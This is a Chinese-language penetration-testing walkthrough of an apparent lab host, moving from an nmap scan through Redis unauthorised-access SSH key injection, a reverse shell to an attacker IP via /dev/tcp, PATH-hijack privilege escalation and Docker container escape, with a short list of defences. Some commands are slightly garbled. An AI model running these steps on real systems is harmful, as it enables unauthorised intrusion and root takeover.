一、信息收集
通过nmap扫描ip的端口服务
nmap -T4 -p- -sV 172.31.103.184
-T4 扫描时间(一般不建议过快)
-p- 扫描全端口
-sV 扫描服务和版本
-O 扫描操作系统
-p 1-65535 扫描端口限制
这里可以看出扫到22端口和80端口,分别是ssh 和http的端口,服务器和版本也可以看得到
常见端口:
21:FTP文件传输协议
22:SSH远程连接23:
23:TELNET远程登录:
25:SMTP邮件服务:
53:DNS域名系统
80:HTTP超文本传输协议
443:HTTPS安全超文本传输协议
1433:MSSQL
3306:MYSQL
3389:windows远程桌面服务端口
6379:redis默认端口
7701:weblogic
8080:TCP,HTTP协议代理服务器:Apache-tomcat默认端口号
第一个漏洞:redis未授权拿下目标主机
ssh服务登录的两种方式:
1:账号密码登录
2:密钥登录
redis未授权漏洞:
可以写入ssh公钥,再通过ssh连接进行攻击
kali中生成ssh公钥
ssh-keygen -t rsa
-t 指定哪种加密方式
rsa 非对称加密
回车后是选择保存的地址,此处默认即可
接下来将密钥添加到key.txt中
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n" ) > key.txt
将生成的key.txt添加到redis缓冲区里
cat key.txt | redis-cli -h 192.168.97.225 -x xxx
进入到redis未授权里,将key.txt备份并命名为 authorized_keys
config set dir /root/.ssh
config set dbfilename authorized_keys
save
接下来即可通过ssh连接目标主机
由于是放在root目录下,直接就是root权限,不用提权
当权限过低,操作流程:
查看当前所处状态,是否处在一个docker容器下
cat /proc/self/cgroup
接下来进行提权
找一个
suid
4000权限的文件
(相当于普通用户使用sudo,但执行结束权限也会消失)
接下来进行查找
find /-pem -u=s -type f 2>/dev/null
但是cd ..不能切换目录
解决方法:
更换一个shell
在自己本地使用nc工具
反弹一个shell,攻击机监听
nc -lvvp 666
bash -c 'exec bash -i &>/dev/tcp/192.168.52.128/666<&1'
监听和bash连接可以用不同的软件
用本地的机器监听目标反向shell的机器
获取到shell后还是低权限的shell
接下来在find中找到的shell文件
进入shell所在目录
./shell
执行该程序,发现跑了四个交互式
环境变量劫持
rm ps
此时提权方法为环境变量劫持
echo "/bin/sh" >ps
chmod 777 ps
cat ps
执行
echo $PATH
服务器中存在ps可执行命令,那么在执行ps命令的时候会根据环境变量的优先级寻找该命令文件,找到后才会执行
使用echo $PATH
当前环境变量的优先顺序
在环境变量前伪造一个ps文件,就能先执行伪造的那个环境变量
然后添加环境变量
export PATH=/tmp:$PATH
意味着在tmp目录下新建一个path
再执行echo $PATH
然后到jobs目录下执行.shell
whoami 就可以看到root权限
此时的root权限还是在docker环境下
完全交互式shell
使用python的方式将shell升级为完全交互式shell,
此处可以查看大佬写的博客:Linux 反向 shell 升级为完全可用的 TTY shell
python3 -c 'import pty;pty.spawn("/bin/bash")';
docker逃逸
四种方法:
1、docker daemon api未授权访问
2、privileged特权模式启动容器 #docker run -privilege
3、利用dirty cow来进行docker逃逸 脏牛
4、通过cve-2019-5736来达到docker逃逸
防止docker逃逸的方法
1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本>1.0-rc6 3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22—-CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14–CVE-2017-1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务 7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险
接下来在根目录新建文件夹
mkdir /hack
ls /dev
可以看到大量设备目录
mount /dev/sda^Hal ^H1 /hack
将目录挂载到hack文件夹,访问hack文件夹即可访问整个宿主机、
挂载完进行特权模式逃逸
两种方式:
- 写计划任务,在宿主机上执行恶意命令
- 生成ssh密钥直接连接